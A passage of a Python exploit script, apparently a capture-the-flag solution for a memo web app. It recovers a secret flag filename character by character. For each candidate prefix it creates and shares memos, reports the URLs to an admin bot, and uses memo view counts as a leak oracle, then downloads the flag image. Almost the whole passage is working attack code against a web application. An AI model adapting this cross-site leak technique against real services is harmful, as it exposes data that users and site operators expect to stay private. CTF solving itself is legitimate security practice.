memo = next((m for m in memos if m["title"] == title), None)
if not memo:
print(f" [!] Failed to create memo for '{candidate}'")
continue

resp = ss.post(f"{TARGET}/api/memo/{memo['_id']}/share").json()
key = resp.get("data", {}).get("sharedKey")
if not key:
print(f" [!] Failed to share memo for '{candidate}'")
continue

requests.post(f"{BOT_URL}/report", json={
"url": f"{BOT_TARGET}/memo/shared?key={key}"
})
candidates.append({"char": ch, "key": key, "candidate": candidate})
time.sleep(0.15)

print(f" Reported {len(candidates)} candidates, waiting {BOT_WAIT}s...")
time.sleep(BOT_WAIT)

for c in candidates:
views = ss.get(f"{TARGET}/api/memo/shared/{c['key']}").json().get("data", {}).get("views", 0)
if views > 0:
return c["char"]

return None


def solve():
prefix = "flag_"
print(f"[*] Starting from prefix: '{prefix}'")
print(f"[*] Need to discover 16 hex chars")
print(f"[*] Charset: {HEX_CHARS} ({len(HEX_CHARS)} chars)")
print(f"[*] Estimated time: ~{16 * (BOT_WAIT + 10) // 60} minutes\n")

for pos in range(16):
print(f"\n[Position {pos+1}/16] prefix='{prefix}'")
ch = test_batch(prefix, HEX_CHARS)
if ch:
prefix += ch
print(f" [+] Found: '{ch}' → '{prefix}'")
else:
print(f" [!] No match found at position {pos+1}")
# Retry once
print(f" [*] Retrying...")
ch = test_batch(prefix, HEX_CHARS)
if ch:
prefix += ch
print(f" [+] Found on retry: '{ch}' → '{prefix}'")
else:
print(f" [!] Failed at position {pos+1}. Partial: '{prefix}'")
break

filename = prefix + ".png"
print(f"\n{'='*60}")
print(f"[+] Discovered filename: {filename}")
print(f"{'='*60}")

# Download
print(f"\n[*] Downloading: {TARGET}/api/image?filename={filename}")
r = requests.get(f"{TARGET}/api/image?filename={filename}", verify=False, timeout=10)
if r.status_code == 200 and len(r.content) > 100:
path = f"/home/whale/ctf/codegate/2026/memo/{filename}"
with open(path, "wb") as f:
f.write(r.content)
print(f"[+] Flag saved: {path} ({len(r.content)} bytes)")
else:
print(f"[!] Download failed: {r.status_code}")

return filename


if __name__ == "__main__":
if "--from" in sys.argv:
# Resume from a known prefix
idx = sys.argv.index("--from")
known = sys.argv[idx + 1]
prefix = known
remaining = 16 - (len(prefix) - len("flag_"))
print(f"[*] Resuming from '{prefix}', {remaining} chars remaining")
for pos in range(remaining):
print(f"\n[Position {len(prefix)-5+1}/16] prefix='{prefix}'")
ch = test_batch(prefix, HEX_CHARS)
if ch:
prefix += ch
print(f" [+] Found: '{ch}' → '{prefix}'")
else:
print(f" [!] No match. Retrying...")
ch = test_batch(prefix, HEX_CHARS)
if ch:
prefix += ch
print(f" [+] Retry found: '{ch}' → '{prefix}'")
else:
print(f" [!] Stuck at '{prefix}'")
break
filename = prefix + ".png"
print(f"\n[+] Filename: {filename}")
r = requests.get(f"{TARGET}/api/image?filename={filename}", verify=False, timeout=10)
if r.status_code == 200 and len(r.content) > 100:
path = f"/home/whale/ctf/codegate/2026/memo/{filename}"
with open(path, "wb") as f:
f.write(r.content)
print(f"[+] Flag saved: {path} ({len(r.content)} bytes)")
else:
solve()